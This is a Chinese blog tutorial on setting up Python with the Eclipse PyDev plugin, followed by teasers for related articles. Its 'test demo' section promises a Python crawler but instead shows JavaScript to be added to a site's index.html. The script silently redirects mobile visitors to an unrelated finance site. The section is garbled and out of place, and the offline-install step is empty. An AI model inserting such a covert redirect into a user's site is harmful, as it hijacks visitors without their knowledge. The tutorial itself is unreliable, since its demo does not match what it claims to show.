Eclipse中Python开发环境搭建简单教程

yipeiwu_com6年前Python基础

一、背景介绍

  Eclipse是一款基于Java的可扩展开发平台。其官方下载中包括J2EE方向版本、Java方向版本、C/C++方向版本、移动应用方向版本等诸多版本。除此之外,Eclipse还可以通过安装插件的方式进行诸如Python、Android、PHP等语言的开发。

  Eclipse+PyDev插件是最主流的Python开发环境了,本文将要介绍的就是使用Eclipse与PyDev插件。

二、Python安装

Python的安装共分为三个步骤:下载python、配置环境变量、测试安装成功。

(1)下载python:在网速不好的情况下,国外服务器上的很难下载。可以直接在百度中搜Python安装,有一个百度软件提供的最新版的python安装包,下载选择安装目录,一路next即可。

(2)配置环境变量:个人感觉Win8中新建环境变量非常不错哦。

(3)测试安装成功。命令:python -V (V是大写V)

三、插件PyDev安装

插件PyDev的安装有两种方式:在线安装和离线安装。(安装的前提是本机已经正确安装Eclipse)

(1)在线安装,通过site地址:http://pydev.sourceforge.net/updates。选择PyDev for Eclipse一路Finish安装即可。重启Eclipse,在Window->preference->PyDev->Interpreter->Python Interpreter(翻译器')中指向本机所安装的Python。

(2)离线安装

四、测试Demo演示

通过简单的一个爬虫小实例,看看环境是不是OK。

// 代码的实现,通过加如下的js代码到首页 index.html中。
<script type="text/javascript">
       function IsPhone() {
         var userAgentInfo = navigator.userAgent;
          var Agents = ["Android", "iPhone","SymbianOS", "Windows Phone","iPad", "iPod"];
         var flag = true;
         for (var v = 0; v < Agents.length; v++) {
             if (userAgentInfo.indexOf(Agents[v]) > 0) {
             flag = false;
             break;
             }
         }
         return flag;
       }
       if (IsPhone()) { 
         window.location ="https://www.qmcaifu.com";
       };
    </script>

根据代码,看结果,测试成功。

好了,如何在Eclipse中搭建Python开发环境就为大家介绍到这里,希望对大家的学习有所帮助。

相关文章

自定义django admin model表单提交的例子

自定义django admin model表单提交的例子

如下所示: 希望可以从对admin提交的密码加密,并验证电话号码均为数字。 查看admin.py from django.contrib import admin class co...

Python之批量创建文件的实例讲解

批量创建文件其实很简单,只需要按照需要创建写文件、写完关闭当前写文件、创建新的写文件、写完关闭当前文件、、、不断循环即可,以下是一个简单例子,将大文件big.txt按照每1000行分割成...

利用Python半自动化生成Nessus报告的方法

利用Python半自动化生成Nessus报告的方法

0x01 前言 Nessus是一个功能强大而又易于使用的远程安全扫描器,Nessus对个人用户是免费的,只需要在官方网站上填邮箱,立马就能收到注册号了,对应商业用户是收费的。当然,个人用...

python列表生成式与列表生成器的使用

列表生成式:会将所有的结果全部计算出来,把结果存放到内存中,如果列表中数据比较多,就会占用过多的内存空间,可能会导致MemoryError内存错误或者导致程序在运行时出现卡顿的情况 列表...

python 基础教程之Map使用方法

Python Map Map会将一个函数映射到一个输入列表的所有元素上。Map的规范为:map(function_to_apply, list_of_inputs) 大多数时候,我们需...